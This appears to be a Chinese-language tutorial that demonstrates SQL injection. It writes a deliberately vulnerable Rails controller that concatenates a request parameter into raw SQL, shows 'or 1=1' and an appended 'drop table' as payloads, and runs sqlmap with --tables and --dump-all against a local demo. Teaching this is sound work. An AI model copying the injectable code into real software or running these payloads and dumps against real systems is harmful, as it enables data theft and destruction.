1.启动一个项目,例如rails学习的项目,修改config/database.yml,
假设来一个接口
class YourModel::YourController < ApplicationController
def test_sqli
sql = "select * from your_table_name where id = " + params[:my_id] + " or 1 = 1"
@blogs = ActiveRecord::Base.connection.execute(sql)
end
我们启动之后,可以正常访问接口,返回的是博客数据。例如我在本地启动一个测试的demo:
controller:
class Api::BlogsController < ActionController::Base
def sqli_test
sql = "select * from blogs where id = " + params[:blog_id] #+ " or 1 = 1"
#sql = "select * from blogs where id = " + params[:blog_id] + " or 1 = 1"
@blogs = ActiveRecord::Base.connection.execute(sql)
render json: {
blogs: @blogs
}
end
end
routes:
namespace :api do |~
resources :blogs do |~
collection do |~
get :sqli_test |~
end |~
end |~
|~
end
url:
http://localhost:3000/api/blogs/sqli_test?blog_id=2
返回的是博客的数据:
{
"blogs": [
{
"id": "2",
"title": "test",
"time": null,
"content": "test
\r\n\r\n
\r\n",
"created_at": "2023-12-12 01:06:20.234003",
"updated_at": "2023-12-12 01:06:20.234003",
"url": null,
"edit_url": null,
"category": null,
"category_id": null,
"is_top": "f"
}
]
}
但是这种写法会把数据库的权限暴露出去,会被人占领,也就是说你的机器会被人直接拿到root,
例如我把注释的or 1=1取消注释,那么接口就会返回所有的博客数据:
或者我恢复注释,在请求参数中增加,返回的也是blog的所有的数据:
这就是黑客手法,就是没有权限,因为1=1是永远都是true
这就是通过修改参数来改变SQL的行为,我们本来是希望当前的用户只能查到某个的id的内容,但是他一下子就把所有的内容都拿到了。
那么这里暴露出来的点就是越权,超越了他能读取的权限,比如说我们让普通用户只能读取普通的 用户的,管理员能读取所有人的,那么他瞬间就让自己提升了权限, 成为了管理员,进一步的话,他能把整个数据库给删除掉。比如说,他可以在or 1 = 1之后增加一个分号,增加一个drop table/database,但是还有更高级的,他能拿到整个数据库的root权限,甚至拿到这个主机,
SQLmap是一个工具,一个非常强大的工具,里边包含了几百种SQL注入的攻击方式,sql注入学的话可能需要学习半年一年,有很多很多,
有一些博士,他在两百多种攻击方式里贡献了一条,那么他就可以毕业了。
他会根据不同的数据库类型进行不同的构造:
我们已经有了sqlmap,那么我们可做一个脚本小子,意思是我们对原理不太懂,但是能让我用这个脚本,我就可以用的很好。在sqlmap的github或者使用命令查看帮助:
python3 /workspace/sqlmap-dev/sqlmap.py -h
可以使用target,来进行注入
使用-p 增加参数:
例如:
python3 /workspace/sqlmap-dev/sqlmap.py -u http://localhost:3000/api/blogs/sqli_test?blog_id=2 -p blog_id
返回了这样一些内容:
使用--tables可以得到所有的table信息:
python3 /workspace/sqlmap-dev/sqlmap.py -u http://localhost:3000/api/blogs/sqli_test?blog_id=2 -p blog_id --table
使用dump 可以进行数据库的备份:
python3 /workspace/sqlmap-dev/sqlmap.py -u http://localhost:3000/api/blogs/sqli_test?blog_id=2 -p blog_id --dump-all
在日志里会进行信息的输出:
可以ctrl c 取消备份。